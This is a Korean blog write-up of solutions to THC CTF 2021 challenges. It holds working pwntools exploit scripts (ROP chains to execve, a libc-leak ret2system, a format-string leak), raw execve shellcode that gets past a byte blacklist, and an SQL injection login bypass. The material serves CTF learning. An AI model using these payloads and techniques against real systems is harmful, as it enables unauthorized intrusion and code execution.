CTF/Write UPs

[THC CTF 2021] 내가 푼 문제들 풀이

jir4vvit 2021. 6. 17. 15:44
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

Pwn

Babyrop (94 point, 59 solves)

rop ? rtl ? 

mitigation

대놓고 BOF가 터진다. 

secret_func에서 execve 함수를 사용해준다.

그래서 굳이 libc leak할 필요가 없다.

 

0x402204 + 22 = 0x40201a

from pwn import *

p = process('./babyrop')
e = ELF('./babyrop')

pop_rdi = 0x4012c3
pop_rsi_r15 = 0x4012c1

payload = ''
payload += 'A' * 0x28
payload += p64(pop_rdi)
payload += p64(0x40201a) # /bin/sh
payload += p64(pop_rsi_r15)
payload += p64(0) * 2
payload += p64(0x4011f3) # call execve

p.sendline(payload)
p.interactive()

 

하지만 실제 대회 떄 난 굳이굳이 libc leak해서 힘들게(?) 풀었다.. ;;

부끄러우니깐 접은글 ㅎ

더보기
더보기
from pwn import *

p = process('./babyrop')
#p = remote('remote1.thcon.party', 10900)
e = ELF('./babyrop')

pop_rdi = 0x4012c3
pop_rsi_r15 = 0x4012c1
ret = 0x40101a

payload = ''
payload += 'A' * 0x20
payload += 'B' * 0x8
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(e.symbols['puts'])
payload += p64(e.symbols['main'])

pause()
p.sendlineafter('\n',  payload)

leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('leak :: ' + hex(leak_addr))

system_addr = leak_addr - 0x31550
binsh_addr = leak_addr + 0x13337a

log.info('system_addr :: ' + hex(system_addr))
log.info('binsh_addr :: ' + hex(binsh_addr))

payload = ''
payload += 'A' * 0x20
payload += 'B' * 0x8
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

pause()
p.sendlineafter('\n', payload)


p.interactive()

Reverse

ELF x64 - Right on Time (175 point, 93 solves)

main

flag를 대놓고 알려준다.

 

hex -> base32 -> base64 순으로 복호화를 진행하면 flag가 나온다.

ELF x64 - Base Jumper CrackMe (203 point, 74 solves)

main

그냥 딱봐도 저 네모친게 flag같음

 

hex -> base32 -> base64 순으로 복호화를 진행하면 flag가 나온다.

Programmation

Living QR Code (50 point, 185 solves)

확장자가 .gif인 qr코드를 제공해주는데, 얘를 gif -> jpg 해주는 사이트에다가 넣어서 변환을 해준다.

그리고 카메라로 하나하나 jpg를 찍어서 합치면 flag가 나온다.

코딩하는 문제인데 코딩안함ㅎ

Intro

SQL for dummies (10 point, 292 solves)

웹린이도 푸는 sql injection

해당 문제에 접속을하면 login 창이 뜬다.

username에 admin ' or 1 = 1 -- 넣고 password에 아무렇게나 넣어준다. (어차피 password는 주석처리)

그러고 로그인 버튼을 누르면 flag를 뱉어준다.

Blacklisted (49 point, 42 solves)

shellcode 

main

read함수로 buf에 0x40만큼 입력을 받는다.

read함수임에도 불구하고 무조건 엔터를 쳐야 그 다음줄로 넘어가는데, 이때 '\n'(0a)가 입력된다.

이것을 그냥 00으로 바꿔주고,

strncpy함수로 dest에 복사를 한다.

이때 마지막에 NULL이 붙어서 복사가 된다는 것을 잊지말자!!!!

 

그리고 밑에서 dest를 실행해준다. 여기서 입력값으로 shellcode를 입력해야겠다고 생각할 수 있다.

 

이 전에, check_blacklist 함수에서 필터링을 해주고 있는데.. 아래의 값들을 필터링해준다.

그래서 난 위의 문자열들을 전부 우회해주는 운이 좋게(?) 구글에서 찾아서 입력으로 넣어줘서 문제를 풀었다.

더보기
더보기

"\x31\xD2\x31\xF6\x48\xB8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xB8\x2E\x63\x68\x6F\x2E\x72\x69\x01\x48\x31\x04\x24\x48\x89\xE7\x48\x31\xC0\xB0\x3B\x0F\x05"

 

하지만 이렇게 풀어주지 말고 read함수를 호출한다음, read함수의 입력으로 64bit shellcode를 주는 것이 훨씬 간편한 것을 깨달았다. ㄷㄷ

 

왜냐하면 read함수를 호출할 때만 저 필터링 함수를 거치고, read함수의 입력은 필터링 함수를 거치지 않기 때문이다!

seccomp에서 syscall을 금지하는 그런 상황이 아니면 모든 필터링은 이렇게 우회하는 것이 더 간편하고 좋은 방법인 것 같다.

 

사실 이 때 알게된 내용이었는데, 지금에서야 확실히 깨닫고 간다. 

from pwn import *

context.arch='amd64'

p = process('./blacklisted')
#p = remote
e = ELF('./blacklisted')

sh = ''
sh += 'xor rax, rax\n'
sh += 'xchg rdi, rsi\n'
sh += 'xor rdi, rdi\n'
sh += 'syscall'

shellcode = asm(sh)

#shellcode += '\x90' * (0x40-len(shellcode))

pause()
p.sendafter(': ', shellcode)


payload = ''
payload += '\x90' * (0x68-0x17)
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

print hex(len(payload))
p.send(payload)

p.interactive()

Clairvoyance (50 point, 32 solves)

FSB!!!!!!!!!!

 

flag를 출력해주는 함수를 열어서 전역변수 flag에 저장한다.

전역변수 flag는 bss영역에 있다. (주소는 0x404080)

 

동시에 나의 인풋을 printf로 출력해주면서 fsb도 같이 터졌는데, 난 처음에 fsb로는 전역변수의 값을 못읽는데 이걸 어떻게 풀지라고 생각했다..;; 

 

offset은 10이다. 

지금은 AAAAAAAA를 넣어줬는데 이 자리에 flag주소를 넣어주고 %s로 flag주소에 있는 값(flag)을 읽으면 flag가 출력될 것이다 ㅎㅎ

 

그런데 이때, 64bit 환경임을 주의하고 payload를 짜야한다.

처음에 주소가 계속 먼저 앞으로 갔었어서 ㅎㅎ;; 안됐었다.. 64bit에서는 주소가 더 뒤로 가야한다. 

 

printf는 NULL까지 출력을 한다.

근데 주소값은 무조건 NULL이 포함이 된다. 그러면 뒤에 포맷문자가 출력이 안된다.. 그래서 주소를 뒤에 적어야 한다.

from pwn import *

#p = process('./chall')
p =remote('remote1.thcon.party', 10906)
e = ELF('./chall')

# 0x404080
payload = ''
payload += '%11$s'
payload += 'A' * (8-len(payload))
payload += p64(0x404080)

#payload += '\x80\x40\x40%p.%10$s'
#payload += '4210816%p.%10$s'


pause()
p.sendlineafter('e ? ', payload)
p.sendlineafter('g ?', 'yes')


p.interactive()